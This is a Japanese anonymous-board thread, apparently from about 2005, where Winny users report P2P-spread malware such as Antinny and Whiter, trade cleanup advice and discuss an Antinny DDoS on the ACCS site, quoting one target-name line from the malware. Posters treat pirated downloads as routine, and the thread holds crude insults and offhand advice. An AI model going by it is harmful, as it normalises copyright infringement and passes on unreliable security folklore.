まずいですか？zipごと消去が基本でしょうか？

>>605
以前にも同じ症状が出たの？
今の俺のシステム、2年くらい使い続けてるけれど、nyで酷使しても起動不能に陥ったことないよ。

もしかして、キャッシュホルダをCドライブに置いてるんじゃないかな？
それだと断片化が進んで起動不能に陥る可能性はあるかもしれない
Dドライブ、出来ればキャッシュ専用にパーテーションを切ったほうが良いと思うよ

>>608
＞出てきたjpgのファイルをそのままHDDに保存しようと思ってるのですが
まずいですか？

OK

＞先ず、ここは初心者の質問・救済スレではありません。（これ大事）

今日、仕事から帰って、ｎｙを起動したらいきなり「外部例外」って出て強制終了した。その後も起動するたびに同じ症状になる。こんなウイルスってあったっけ？

>>610
レス有難う御座います。
ちなみにみなさん駆除しちゃえば残ったファイルは残しておくもんですか？

>>613
残さないなら何のためにﾀﾞｳﾝしたのかﾜｶﾗﾝだろが

>>613
ケースバイケースで消すのもあれば残すのもある
つか、他人に聞かなきゃ判断もできんのならおとなしく消しとけ

しかし今日は千厨万来だな
何かあったのか？

新しいタイプのウィルスが出来たって訳でも無さそうだけどな

>>614
確かにそうですよね。
う〜ん。。これまで運が悪いか分りませんが写真集のZIPはほとんど
ウイルス付きを落としてるんんですよね（涙
毎回捨てて一向に集まらないんでこの際お聞きしました。ありがとです。

MXでは同じ物集めてもあんまウイルスに遭遇しなかったんですが
nyを使うようになってよくウイルスにあうようになりました。

>>617
俺なら画像系は残すけどな。ただアプリ系は怖いｗ
しっかし、俺もnyやるようになってバスターがよく働くようになった。

ノロには気をつけろ

なんつーかありきたりなのに引っかかったくせに
糞テンプレで症状書いて本気で助けてもらおうって
奴が増えてるよう泣きがした

>>606
そのまんま。最適化の時にレポート見るとレジストリの部分が断片化されてる。

>>609
ny関係は全部外付けHDに入れてる。
とりあえずリカバリしたばっかでデータも全然入ってないからまたリカバリする気持ちで原因探してみる。
話を聞く限り原因はnyでない可能性が高いな…

aviファイル内にウイルスを仕込むことって出来るの？
ノートンさんでスキャンしたら
圧縮されたファイル○○.aviの○○.avi.exeはウイルスに感染していますって出たんだけど
圧縮されたファイルってことはzipかlzhをaviに拡張子変更した？

うん

>>622
>>aviファイル内にウイルスを仕込むことって出来るの？
現段階ではまだじゃね
ただ最近は、>>461　>>485みたいなのもあるみたいだし、一応注意してれば

>>○○.avi.exe
この時点で捨てようよ

>>624
いや、拡張子はaviでファイル情報もビデオクリップだったから
結局そのファイルは怖いから再生せずに消したけど
ウイルスは初代ぬるぽだから古いファイルだと思うし
たぶん拡張子をaviに変更しただけだと思うけど
あと、最近ではDVDrip版のターミナルになんか仕込まれてるって話があったな

＞いや、拡張子はaviでファイル情報もビデオクリップだったから

ウイルス対策してない時のwin98での場合で、
詳細表示では「zip file」と表示されてるのに、
カーソル当てると「not zip files」とか表示されて分かるパターンがあった。

txt.exeだろうがavi.exeだろうが実際にはEXEだけど、
また、622さんみたいにVスキャンすりゃ分かるけど、
「見た目上は」txtとaviの場合あるから、誤解なきよう。

あと622=625と分かってて書いてます。
＞誤解なきよう。
ってのは世間一般に対して言ってるって事でヨロ

>>626
なるほど、これからは動画ファイルもスキャンします

落とした物全てスキャンしてなかったんかい！（ry

スキャンもスキンも忘れずに
忘れると感染するのはC型とかいろいろあるしな

今週の日経コンピュータにACCSのＷｅｂサイトが
AntinnyのDDOS攻撃で、１年近くダウンしている、という話がでているぞ。
攻撃日になると700Mビット/秒に通信量がはねあがり、
ルーターやサーバーがもたないそうだ。

ACCSはどうでもいいが、威力業務妨害とかで捜査されたくなかったら、
ウィルスだけは感染しないよう気を付けよう。

【使用OS】XP
【WindowsUpdateしてるか】してない
【AntiVirusは】ノートン
【ちゃんとUpdateしてるか】してない
【スキャンした結果】検出されず
【オンラインスキャンしたならその結果は】まだしてない
【Winnyのﾊﾞｰｼﾞｮﾝ】2.0 b7.1
【Winny歴、総DL量は】１ヶ月くらい
【テンプレを読んだか】読んだ
【テンプレにある対策を実行したか】対策無し
【症状か具体的に、分かる限りすべて書く】キンタマと同じで、その後キーボードからの
操作を受け付けなくなり、ＣＤを読み込まなくなった
【何をしたらそんなことになったのか】うっかりとＥＸＥファイル起動
【これまでにとった措置】特になし
何故かＯＳ再インスコすらできない、誰かボスケテ

「Webカメラでユーザーのぞき見」のトロイの木馬作者、スペインで逮捕
ttp://www.itmedia.co.jp/enterprise/articles/0501/20/news025.html

>>631
攻撃食らわしてるかどうか判定する方法ある？

> 攻撃日になると700Mビット/秒に通信量がはねあがり、
(ﾟ∀ﾟ)ｱﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬ
ってすげーなおいw

>>632
このスレで言うOS再インスコってのは、クリーンインストールのことなんですが
そこのところはOK？
今のOSがどんなにいかれてても、ハードウェアが生きてる限りできないはずないと思うけど。

>>634
ルーターのOutBoundを全部閉じて、おまいのマシンから叩いている
ポートを全部ログに吐かせてから中身を解析。

ﾆｭｲﾙｽ攻撃は「尻ませんでした」は通じないからな。まじで。

>>631
気付かなかったｗ　活動してんのかね、奴ら

うわあーーーーーーーーーーーーーっ！

【使用OS】 win98SE
【WindowsUpdateしてるか】 はい
【AntiVirusは】ﾉｰﾄﾝ
【ちゃんとUpdateしてるか】 はい
【スキャンした結果】 検出されず
【オンラインスキャンしたならその結果は】していない
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0 b7.1
【Winny歴、総DL量は】 一年ほど
【テンプレを読んだか】 はい
【テンプレにある対策を実行したか】 いいえ
【症状か具体的に、分かる限りすべて書く】
60GBある保持ｷｬｯｼｭが8GBと表示されるようになり、
単語検索するとほとんどのｷｬｯｼｭが見れません。
2.0 b7.1を再度入れても症状は変わりません。
試しに1.14で見ると、正常に表示されていたので安心しました。
2.0 b7.1でｷｬｯｼｭが見れなくなったのはなぜでしょうか？

ただの時刻設定ﾐｽでした。ｽﾚ汚しｺﾞﾒﾝﾅｻｲｺﾞﾒﾝﾅｻｲ…。

え、どういうこと？後学の為に聞きたい
時刻設定とかがその症状と関係あるの？

未来のファイルは認識しないとか？

>>642
時計を1ヶ月ぐらい巻き戻してny起動してみろ

>>640
You suck!!(ﾟﾛﾟ)/ You suck!!(ﾟﾛﾟ)/

>>640
バカｷﾀ━━━( ﾟ∀ﾟ )━(∀ﾟ　)━(ﾟ　　)━(　　)━(　　ﾟ)━(　ﾟ∀)━( ﾟ∀ﾟ )━━━!!!!

>>608 >>610にある「ウイルスに感染したzip」って、
結局どこに感染しているのでしょうか。
中身の画像ファイル？

>>647
zipのなかに元のファイルとウィルスが同梱されてるだけで
元のファイルだけ解凍するなら問題ない

Autorun+batって
感染した
エロげーインストールしたあとは、スキャンに引っかかるんでしょうか？

CD角命８って大丈夫？
Autorunを切ってマウントして
ウイルススキャンすればいいの？

先ず、ここは初心者の質問・救済スレではありません。（これ大事）

リロードしてよかった
危うくｹｺｰﾝすとこだったｗ

アプリＡＴＯＫ１７は
ｈｄ消去される
気を付けろ

普通に使えるヤツあるじゃん

>>653
(´・ω・｀)人(´・ω・｀)
ほんの30分前に踏んだ。Whiterみたいだね。

（ ´_ゝ｀）

いまどきWhiterに犯されてるようなら、nyやめたほうがいいよ。
個人情報やデスクトップ流出で信用を失う前に。

突然画面が赤く染まりだして女の悲鳴が出てきてOSを破壊し起動できなくする
ウイルスがあるそうなんですが、何なんでしょうか?
新種なのでしょうか?
ここ2〜3日のうちにクラス内の人が数人感染してOSを再インストールするはめになったようです。
特に怪しいファイルやHPを開いたわけでもなく、いきなりだったとか。
共通しているのは、皆winnyのユーザーだったという事だけのようです。

「Antinny」によるDDoS攻撃に苦しむACCSのサイト、URL変更の暫定措置
http://internet.watch.impress.co.jp/cda/news/2005/01/21/6151.html

感染しっぱなしの奴がそんなにいるのか

>658
ウィルスの感染拡大を防ぐために学級閉鎖しろ

ウイルスが勝手にやったことだからーで通用すると思ってるやしがたくさんいるんだろう。
生卵をぶつけたら傷害罪、外れても傷害未遂、教唆まであるのを知らないのと同様に。

>>659
ACCS敗北宣言だな。

リンク先に次のようなことが書いてあるわけだが。
＞攻撃を行なっているPCの所有者に対してプロバイダーから対応を勧告し、
＞応じないユーザーに対しては解約するといった措置が取れるかどうかを
＞検討していきたいとした。

心当たりのあるやつはもう一度確認しといたほうがいいぞ。

【使用OS】 WindowsXP Home
【WindowsUpdateしてるか】 sp1の最後までしかしてない
【AntiVirusは】 Norton AntiVirus2002
【ちゃんとUpdateしてるか】 1週間くらい前に切れている
【スキャンした結果】 下記参照
【オンラインスキャンしたならその結果は】 とりあえずまだしていない
【Winnyのﾊﾞｰｼﾞｮﾝ】 Winny2p_b725_001
【Winny歴、総DL量は】 1年以上　数えていない
【テンプレを読んだか】 読んだ
【テンプレにある対策を実行したか】 Antinny対策サイトの項目全部
【症状か具体的に、分かる限りすべて書く】 下記参照
【何をしたらそんなことになったのか】 下記参照
【これまでにとった措置】
今朝、数十個のlzhファイルに能登ん先生かけて、
検疫したあとに全ファイル掴んでラサにつっこんで解凍したら
検出されたんだけどこれって既出？
同時に存在したzipとかはそんな事無かったんだけど・・・
それで感染したと思って対策してたら
何も出てこない・・・
UpフォルダもおかしなキーもNy.exeもぬるぽも無いし
キャッシュも消えないHDDも消えない
セーフモードで立ち上げてスタートアップみたけど何も入ってない
気味が悪いので聞いてみたんだけどどうなんでしょ？

検出されたウィルスの名前は？

>>661
何が言いたいのか意味不明。
ウイルスにかかっていることを知ってほっとく馬鹿はいない。→故意がない。
問題にするなら過失の話だろーが。

別に深い意味は無いが。
単に２ちゃんで知らずに「卵ぶつけにいこうぜ」っていうやつが多いからついでに言ってみただけ。

故意じゃなくとも未必の故意っていうのもある
ウィルス感染有無を気にしないってのはそういう範疇じゃないか？

こうアプリに危険が一杯だとつい正規品を買ってしまうな

>>664
ウチに聞いてくれてるんでしょうか
でしたらW32.HLLW.Antinnyです
トレンドの亜種も全部見て回ったんですけど
どうも・・・
何だかシステム全体が極微妙にもっさりしてる気がするんですけど
ウイルスにかかったという心配からなのかどうなのか・・・・

検出したってことはノートンが駆除したってことじゃないんですか？

>>669
ノートンでは何ていうか知らんけど、バスターでいう「圧縮レベル」の設定が低かったんではないか？

>>666
いねーよそんなこと言うヤツ、お前だけだろｗ

>>669
ラサに突っ込む時点で間違ってる

>>670
むう、そうなんですかね・・・・そうだと1番いいんですけど＾；
普通は最初に全部スキャンかけてそこで検疫ができれば今回のような事は
無いハズなので異様に思ったんですよね
>>671
Bloodhoundの設定がそれに当たるんでしょうか
一応推奨の標準でした

何にせよ実害が無いように思えるし
ただウチがスキャンミスっただけかもしれないので
これ以上グだるのも何ですから引きますけど
やってみたい人いますか？

っと書いてる間にレスが
>>673
ラサと書いたんですが正式には+Lhacaです一応。
個人的にはrarはらるちであとのzipとlzhはまとめて+Lhacaに＾；
他のにしたほうがいいんですかね・・・

>>674
W32.HLLW.Antinnyは書庫に入っているのを解凍しただけなら大丈夫でしょ
実行しなきゃへーきだ

140件程度ならすぐに連絡が取れそうなのに、まだ動かないんだな。

ACCSは実は全然困ってなくて、単に宣伝材料に活用したいだけちゃうんか
と勘ぐってまう

んだよなあ。
プロバイダまで迷惑を受けてるんだからさっさと連絡すればいいじゃん。

駆除と感染の違いも分からない奴多すぎ？

VMWAREやVatualPCで仮想マシン上からnyしたら
ウイルスかかっても仮想マシンごと削除することで大丈夫？

確証はでき無いがまず大丈夫

でも仮想PC上でnyを思う存分動かすだけのスペックのPC一台買うくらいなら、
その差分のお金でny専用PC買った方が安く付くかも知れない
メモリとCPUを潤沢に積まないとny動かすだけでも結構大変だよ？

なんか大分日本語が変になってきたので寝る

仮想PCはアヤシイexeとかCDイメージとかを試すのにだけ使えば十分だと俺は思う

CacheやDownフォルダを全部仮想マシン側のイメージドライブで
管理してるならともかく、リアルなドライブを仮想マシンにマウン
トしてたらアウト。仮想マシンは胡散臭いファイルの実行テストに
最適なUndosable環境だと認識すべし。

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>684
嘘をつくではない

とりあえず事実なんだが・・・
ウィルスの仕業と言うより、ノートンのエラーなのか？
エラーで自分感染させるというのも困りものだが・・・

スタートアップに解凍されて、再起動したときに感染。じゃないの？
よーしらんが。

>>687
それでは無かったっぽい

あ、ファイルサイズで気づけとか言うつっこみは無しの方向で

>>684
解凍ソフトは？

>>684
報告なら確認できる事実だけ述べないと混乱する
〜ぽいとか何よ、ふざけてんの？

"(ryは W32.Pinfi ｳｨﾙｽに感染しています｡ "
というのはウィルスを含むと思われるファイルがそこにあるというだけで、
解凍しただけで"感染した"ということにはならないでしょ

>>690
言い方が悪かった、すまぬかった。
正常なファイルとして存在していたものに、ウイルスが書き加えられた場合は感染というのではないでしょうか？

>>689
winXPの標準のものです

>>691
＞正常なファイルとして存在していたものに、ウイルスが書き加えられた場合は感染という
ウイルスの動作の結果、正常なファイルが改変されたら、それは感染している状態

一方で、感染済のファイルをアーカイブから解凍しただけであれば、未感染
ノートンが検疫のために作成した一時ファイルにウィルスコードが含まれている状態も未感染

×P標準なんぞ使ってる時点で(ry

>>692
横から口を出してスマンが、PCを基準として考えた場合
・PCにウイルスと種別されるファイルが侵入した時点で「感染した」
・PC上でウイルスが起動し、動作を開始した時点で「発病（発症）した」
とも表現できると思われ。

ファイルを基準にして考えたら、書き換えられてウイルスコードが混入した時点で
「感染」ってことになるから、>>692の考え方は確かに正しいんだが。

その辺、基準がお互い食い違ってる場合もありそう。
駄レス済まんかった。

さすがにウィルス入りファイルをダウンロード（もしくはコピー）
した時点で「感染」とは呼ばないと思うが．．．

Norton2003(正規品）とバスターのオンラインスキャンをしてみた
結果
ノートン3個
バスター２個
ノートンは2chのログが反応
バスターは
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_DELWIN.D
が検出てかかなりやばいウイルスじゃん、検出しろよ
ちなみに感染ファイルは解凍前の2003年のジャンプ

ウイルスにキャッシュをすべて消されて(´･ω･`)ｼｮﾎﾞｰﾝだったが
フリーのファイル復元ソフトで(ﾟ∀ﾟ)ｳﾏｰ!でした

>696
ノー�dのオンラインスキャンは書庫の中までは見ないぞ。代わりに2chログを検索してくれる
バスターのは一応書庫内部まで見るが、トレンド自体がやや対応遅いからな

【使用OS】 2000
【WindowsUpdateしてるか】 している
【AntiVirusは】 していない
【オンラインスキャンしたならその結果は】 トレンドマイクロのオンラインスキャンをしたら
　AntinnyのAが5個、Hが1個、Qが1個検出された
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0 b7.1
【Winny歴、総DL量は】 約一年、10Gくらい
【テンプレを読んだか】 はい
【テンプレにある対策を実行したか】 ほとんどなんの対策も取っていなかった
【症状か具体的に、分かる限りすべて書く】upフォルダが作成されてdownフォルダ内のファイルをコピー
　してupしはじめた。
【何をしたらそんなことになったのか】 解凍したファイルの中にあった.exeを実行してしまいました。
　クリックしても画面上に何の変化も無かったので何度も実行してしまいましたorz
【これまでにとった措置】スキャンして感染が分かったらすぐにwinnyフォルダを削除しました。
　面倒な事になったと思い一晩放置。翌日､もう一度スキャンしてみるとANTINNY_Aが一個検出されただけだったので
　それを削除。その後テンプレサイトにあるように、レジストリをいじったりwin.iniを書き直す。再びスキャンすると
　なにも検出されず。
　　しかし、駆除ツールも使っていないのに、一晩放置しただけでウイルスの数が激減していたので逆に気味が悪いです。
　これで安心していいのでしょうか？

>>699
>【AntiVirusは】 していない
この時点で既にネットやる資格なし。
再インストしとけ。

>700
常駐させてたって、未対応の新種/亜種には無意味だろ
逆に頼り切ってる方がどうかと
>699
ここはスキャンに反応しない新種/亜種を報告するスレです
再インスコでもしてなさい

今の時代割れしなくてもセキュリティソフトなしではネット出来ないからな
ノートンのログ見たらわかるがいまだにMSBlastの攻撃が大量にくるからな
数分に一回はある（ちなみにepmapのデフォルト遮断ってやつ）

>>701
ネットに接続する上でAntiVirusソフトの常駐は最低限必要。

>常駐させてたって、未対応の新種/亜種には無意味だろ
そんなこと言ってるから>699みたいなバカが増える。

少なくとも6割はふせげると思ってるが、アンチウイルスいれとけば
残りの亜種は仕方ないんじゃね？イチゴ菌とかでも明らかに挙動変わるし
気付いた奴多いだろ。変なEXEを実行するDQNは例外

もう質問テンプレは載っけない方がいいんじゃないのか。
初心者を洗い出して追い出すために作ったんだろうが、
逆に初心者が気楽に質問する口実を与えているような気がする。

>>681>>683
アドバイスアリガ�d
実際導入してみました。動作は結構重い感じがします。
確かにここからny繋ぐにはちょっと不向きかも。
でもexeファイル試すくらいならOKですね。
スペック上げたらどれくらい使えるのか試してみたいと思います。

>>701みたいに曲解して煽ってくる読解力ゼロウイルスを駆除する方法が知りたい

テンプレに
【WindowsUpdateしてるか】してない
【AntiVirusは】してない
いずれかがしてない場合
なぜしてなかったか理由を書かせて反省文みたいにしようぜ

テンプレいらん

>>708
金がなかった。
気をつければ大丈夫だと思った。
いまは反省している。

‥‥しか書かないと思われ。

ﾏﾝﾄﾞｸｾ

・・・しか書かないと思われ

そうじゃなくてテンプレ浸かってる人には創造的なボケで返そうぜ

>703
亜種なら、ソースを読み取れば未対応ですら防げるだろ
セキュリティの穴を突いてくる新種に気配りを怠るなって事だ
基礎≠常駐

>713は具体的にどんなウィルス対策をしてるんだ？？

AVGみたいなフリーのものくらい入れておこうよ…

>>714
一日一回クリーンインスコに決まってるだろ
もう完璧よ

病気になってから予防注射うつんです

無料のセキュリティソフトもいろいろあるんだから何か入れとけよ

ウィルスに感染した後、立ち上げたらフリーズしたまんまです

これってウィルスが原因なんでしょうか？
どんな種類のウィルスなんでしょうか？

知るかよボケ。てめぇのちんぽ咥えてろ

咥えてみたけどちょっと塩辛いです
あと咥えてたら大きくなってきたんですけどどうしましょう？

回線切って好きにしろ

>719
ウイルスかどうかなんてどうでもいいじゃん
どうせ動かないんだし

俺はアンチウイルスソフトはブラウジング用に入れてる
nyのウイルスはdelexe使って見つけてば感染しないし

>723
動かないってどういう事なんですか？
取り敢えず、対処する方法はないのでしょうか？

お前ら>>1も読まない奴に構いすぎ

１は読んだのですが・・・なにせ携帯なのですみません。
やはり再インスツールしなきゃ駄目なんですね。あとはどんな被害が考えられますか？
すみません。共有のパソなんで困ってます

共有してる他ユーザーからの罵詈雑言を楽しみにしてなよ。

しかし、共有のパソでよくnyやる気になれたなぁ・・・。

nyは、デスクトップにあったからクリックしただけw

クリックしただけw
とか携帯で打ち込んでる暇あったら早く再インスコしてきなさいって。

>>726
必死なのは解るが状況が解らなさ過ぎてアドバイスしようがない
ちゃんとPCの持ち主にゲロしてから怒られなさい。

鼻水、くしゃみが酷いのですが何のウィルスですか？

再インスコ済ませましたw
「俺のパソ触ったの誰や！」と怒号が聞こえる前に寝ようと思います。

また関西弁か

>731
画像をひろって、クリックしたら眼鏡オヤジの画像。
その後、ウイルススキャンで感染を確認。再軌道したらフリーズしたまんまでした。

セーフモードで起動するとか、もう遅いが

ようやっと>>494のファイルを手に入れることが出来た。
既報の通りPascalで書かれている。
あるファイルの先頭あたりに
TARGET_NAME = 'www.accsjp.or.jp';
という記述があるし、先のACCSの発表にあるように、こいつがDDOSしていたと
考えるのが妥当のようだ。
これが本物であるという保証はどこにもないが。

それがキンタマ(Antinny.K)クオリティ!

こんばんは。
ボクはニ○ポンハムのウ○ニーが大好きな男子です。

ボクはウイ○ーがとても、すごく大好きですが
最近はノロウイルスが怖くて、あんまり食べていません。

ばあちゃんにその事を相談したら、ウイ○ーのウイルスの事だったら
ここで聞いたらどんな事でも、教えてくれると言っていました。

どうしたらウイルスに掛からずにウ○ニーが出来ますか？

>>739
その文章で誰かが笑うと思ったのかい？

>>738
Antinny.Kは晒し挙げじゃね？
キンタマはAntinny.Gだし

【使用OS】 XP
【WindowsUpdateしてるか】 してる
【AntiVirusは】 してる
【ちゃんとUpdateしてるか】 してる
【スキャンした結果】 異常なし
【オンラインスキャンしたならその結果は】してない
【Winnyのﾊﾞｰｼﾞｮﾝ】 winny2b71
【Winny歴、総DL量は】 一年、たぶん100Gくらい
【テンプレを読んだか】 読んだ
【テンプレにある対策を実行したか】 した

【症状か具体的に、分かる限りすべて書く】
C:\Documents and Settings\ユーザー名\Local Settings\Temp" に"ユーザー名.txtが作成される。
Winny\DownフォルダがBBS2と言うUPフォルダになる。
上と同じ場所に、Windouws起動毎に***.exe(***はいろいろ)という偽造フォルダが作成される。
タイムスタンプが1984など、異常に古いフォルダが作成される。
regeditがメモ帳になる


【何をしたらそんなことになったのか】
解凍したおまけの『無題.exe』を謝ってダブルクリック。

【これまでにとった措置】
作成されたフォルダの消去
怪しいスタートアップを消去


テンプレにあるその１かその２のどちらとも分からない症状でorz
誰かこれの駆除方法わかる香具師いない？

窓から投げ捨てろ

ウィルス目の前にしながら
誤ってダブルクリックか･･･
誤字は良いとして緊張が足りないな

とりあえずオンラインスキャン必須だろ
あとAntiVirusのアプリ名も書いておけ、バスター2001とか疑っちゃうよ

駆除方法は概ね見当がつくが、残念ながら俺は香具師じゃなくて技術屋だ
だから教えてやんねー

＞無題.exe
こんな物にポインタを近づけるというのは
下着でスラム街を歩くようなものだ

当スレ質問テンプレにおいて
AntiVirusソフトを入れてUpdateもしている奴　12人
Updateしていない、AntiVirusソフト未使用　８人
　
下段の奴らは、生命保険どころか健康保険に入ってないのと同じだ。

とりあえず、拡張子を見てからクリックせよ。だいたい、exeファイルなんて落さねぇだろ。
無視条件にexeでも入れときナ。

拡張子表示をオンにしてないようなやつがny動かしてるこんな世の中じゃ(ry

ポイズン

>>750
だから世の中楽しい

>752
お前人生悟ってるな

人を騙して楽しんでるこんな世の中じゃ(ry

ポイズン

今度「レジストリエディタがメモ帳に云々」って輩が来たら>>39見せればそれでいいじゃん

D:\System Volume Information\_restore{EC12BC5A-5BD9-4112-A1C8-A19C204BA208}\RP706\A0388256.exe は　W32.HLLW.Antinny.G に感染しています。
K:\System Volume Information\_restore{EC12BC5A-5BD9-4112-A1C8-A19C204BA208}\RP707\A0390533.exe は　W32.HLLW.Antinny に感染しています。

またrestoreかよ。
こいつらの辞書には「検索」という言葉がないのか？

ねーよ

ウィルスソフトはノートンとバスターどっちがいいのかね。P2P使うにあたって

>>760
脳豚
って言ったら、あんた使うんかいな

いや、今ノートン使ってんだけど。バスターに変えようか迷ってんだよね。
やっぱノートンで重いも安全か

お前がバスターに変えようと思ってるその理由は？

"やっぱ重いノートンでも安全か"か？意味分かんないけど。
ノートンが重いからバスターに変えたいと思われ。

ウィルスソフトって事はウィルス本体だろ？
ウィルス本体なアンチウィルスっつーたらマカフィじゃねーかｗ

>>764
その通り。マカフィ、P2P使って感染するウイルスあんま対応してなくね？
それに関してはノートンとバスターが頑張ってる印象なんだが

つまり、ノートンとバスターはP2P擁護派なわけだ

ACCS以上にP2Pを研究してるセキュリティ企業とも言えるわけだが

まぁあれだ、
ポップアップブロック提供してるくせに、自社製品のアップデートでポップアップ必須
な仕様にするのがもぅね、だめぽ。

バスターは(最終的には対応するけど)ともかく
nyの新しいウイルスには対応が遅い
検体の提出方法がユーザーのみなのが致命的と思われ

まあ、企業や団体が網はってる一般ウイルスとは経路が異なるから
なぁ。掲示板にうpするようなのはともかく、ny内で拡散するよう
なのは自業自得で片付けられそうな悪寒。

そのうち自前のP2Pエンジンを持ったやつも、出てくるかもしれん
けどね。nyが入ってないパソコンにファイル経由で感染、勝手に
うpしまくるとか。(´・ω・`)

ttp://impulse.dyndns.info:9999/uploadedFiles/966bf45f-4557-44c6-8854-a8cb4d356328.bmp

これってキンタマにやられちゃった？

bmpで上げる人って珍しいな・・・と思った

>>772
つか見れねー。

ttp://douga.sakura.ne.jp/uploader2/src/up5307.bmp

です

EXEを踏む奴

・エロ18禁ゲー（キモイ）
・エロ系のZIP（馬鹿）
・コスプレ、ネトアのZIP（ヲタ）

解決する方法はひとつだけ→　フォーマット

不細工まじめ：がり勉　　　　　　　　　　　　　イケメンまじめ：知的
不細工マッチョ：デブきもい　　　　　　　　　　イケメンマッチョ：スポーツマン
不細工暗い：根暗キモイ　　　　　　　　　　　　イケメン暗い：クール
不細工面白い：笑われ者　　　　　　　　　　　イケメン面白い：人気者
不細工高学歴高収入：金の亡者　　　　　　　イケメン高学歴高収入：エリート
不細工リーダー：調子に乗るな　　　　　　　　イケメンリーダー：頼りがいがある
不細工おしゃれ：勘違いもいいとこ　　　　　　イケメンおしゃれ：イケテル
不細工低身長・高身長：キモイ・怖い　　　　　イケメン低身長・高身長：カワイイ・カッコイイ
不細工フリーター：さっさと就職しろボケ　　　イケメンフリーター：夢に向かってがんばってね
不細工マニア：おたくキモイ、敬遠される　　　イケメンマニア：流行の発信源、関心持たれる
不細工童貞：一生そのままでいろ　　　　　　　イケメン童貞：私が捨てさせてあげるわ
不細工犯罪者：いつかやると思ってたわ死刑まだかしら　　　イケメン犯罪者：私が一緒に背負ってあげる

ny起動しようとしても、起動した瞬間強制終了されておまけにキャッシュが消えていくという怪奇現象がおきてるから
100％やられてるか・・・orz

駆除しようとしても、『怪しい値』なんかわからねぇよヽ(`Д´)ﾉ

>>778
再インスコしとけ。

>777
君に幸あれ

＞『怪しい値』なんかわからねぇよ
こういう奴が(ry

ところで、テンプレから
ttp://www.answersthatwork.com/Tasklist_pages/tasklist.htm
が消えてんな。まとめサイトのほうにはあるが。
レジストリリスト ttp://higaitaisaku.web.infoseek.co.jp/iru.html のほうはなぜか403だが、
誰か見られるか？

>>781
見れないね。(´・ω・`)
WaybackMachineにあったから、落としておいたほうが大吉。

ttp://web.archive.org/web/20031208183802/http://higaitaisaku.web.infoseek.co.jp/iru.html

>>782
アクセス不可じゃなく消えてたか･･･？
ともかく確認�d。

てかレジストリのエントリじゃなくHijackThisのログの説明か。
なら ttp://www.answersthatwork.com/Tasklist_pages/tasklist.htm が生きてれば十分だな
まあ、レジストリのRunの項目はそうそう増減しないから、
クリーンインスコ直後とかにSS撮っといて定期的に見比べれば問題はないんだが･･･
ウイルスに引っかかる香具師に限ってこういうことしてないんだろうなぁ

不細工まじめ：がり勉　　　　　　　　　　　　　　　　　　　　　　　 イケメンまじめ：知的
不細工マッチョ：デブきもい　　　　　　　　　　　　　　　　　　　　イケメンマッチョ：スポーツマン
不細工暗い：根暗キモイ　　　　　　　　　　　　　　　　　　　　　 イケメン暗い：クール
不細工面白い：笑われ者　　　　　　　　　　　　　　　　　　　　　イケメン面白い：人気者
不細工高学歴高収入：金の亡者　　　　　　　　　　　　 　 　 　 イケメン高学歴高収入：エリート
不細工リーダー：調子に乗るな　　　　　　　　　　　　　 　 　 　 イケメンリーダー：頼りがいがある
不細工おしゃれ：勘違いもいいとこ　　　　　　　　　　　　　　　 イケメンおしゃれ：イケテル
不細工低身長・高身長：キモイ・怖い　　　　　　　　　　　　　　 イケメン低身長・高身長：カワイイ・カッコイイ
不細工フリーター：さっさと就職しろボケ　　　　　　　　　　　　　イケメンフリーター：夢に向かってがんばってね
不細工マニア：おたくキモイ、敬遠される　　　　　　　　　　　　 イケメンマニア：流行の発信源、関心持たれる
不細工童貞：一生そのままでいろ　　　　　　　　　　　　　　　　 イケメン童貞：私が捨てさせてあげるわ
不細工犯罪者：いつかやると思ってたわ死刑まだかしら　　　イケメン犯罪者：私が一緒に背負ってあげる

手直ししてみた

どうでもいいんだけど　俺のリア友がテキストがみんなぬるぽ（AAが入ってただかなんだか）になってそれからWindowsが起動しなくなった（なんとかDllが足りない出てた）んだけどこれ何？

自分のマシンが吹っ飛んで、携帯から書き込んでると正直に言えよ。
そしたら「テンプレ読んで対処しろ」って助言してやるから。

そろそろパソコンから紫の煙が出たり小宇宙が燃えあげるようなウイルスが欲しいな

IDの最後がO(オー)なら携帯。とかなんとか。

なんか赤い発心できてるよ。ウィルスか知らん。

あんまり掻くなよ
余計悪化するぞ

病院へ行ってきなよ
皮膚科あたりにでも

再インスコしなよ
すべてを捨てて

フォーマットはともかく
インスコは誰がするんだ？

おれおれ

ソフトが入ってなきゃただの箱(マネキン)だよ

すまん俺が壊れてるみたいだ･･･

>>781-783
ドメイン取得で移転
http://www.higaitaisaku.com/

>>797
移転してるなら早く言ってん

>>798
ざぶとん一枚。(w

なあ、前もってupフォルダをつくっておいて書込み禁止にしとけばええんとちゃう？

>>795
漏れのパソコンは、インテリアとしてもクールでカコイイデザインだぞ

>>800
upフォルダは複数設置できるんだが
釣りか？

私はNYなんてやってませんし、パソコン使い始めて3ヶ月ですが、WinXP SP2、O
ffice2003ともにパッチは毎日確認。
コンピュータの名前やユーザー名、パスワードはランダムの英数字。
ハードディスクの中身には個人情報など見られて困るようなもの、
個人を特定できるものは一切入れない。
ウイルススパイウェア対策はNorton Internet Security2005、ウイルスバ
スター2005、AVG、Ad-aware SE PE、SpywareGuard常駐。SpywareGuardも入
れてる。これらも毎日最新の状態にしてスキャン。
ルータでパケットフィルタリングの設定。
インターネットやる場合でもActiveXやJava Scriptは無効にしたりタグブラ
ウザ使うなどの自衛はしてますよ。
これでも安全とはいえないんでしょ？

私はN
まで読んだ

ここは釣り堀ではありません

私はニューヨーク
まで読んだ

age　長文の時点で読んでない

読んじゃったよ！！

>>808
穢されちゃったね。

>803
要するに不安でいたたまれず寝不足で死にそう。という話。

バスターていまいちウィルスの対応が遅い。ノートンは仕事早い

その分ノートンは重いし、バグも多い

その通り。

>>803
この世に、安全なところなんて、ありゃしないさ。

フ・・・わかったかい？
坊主。

だまれ小僧！

流行種その４
【スクリーンセーバー（仮称）】
に感染したぽ、うぇ
壁紙が　winny　ハツラツぅ
って書いてある画像に変更されてうぇ
爆音で元気ハツラツのCM？みたいなのが流れた
とりあえずタスクマネジャーは起動しねうぇ
既出ですか？

チンポ痒い

>>816
うるさい

テンプレに載っていることをわざわざ報告するようなやつがいるこんな世の中じゃ(ry

ﾎﾟｲｽﾞﾝ

なんか最近
.folder
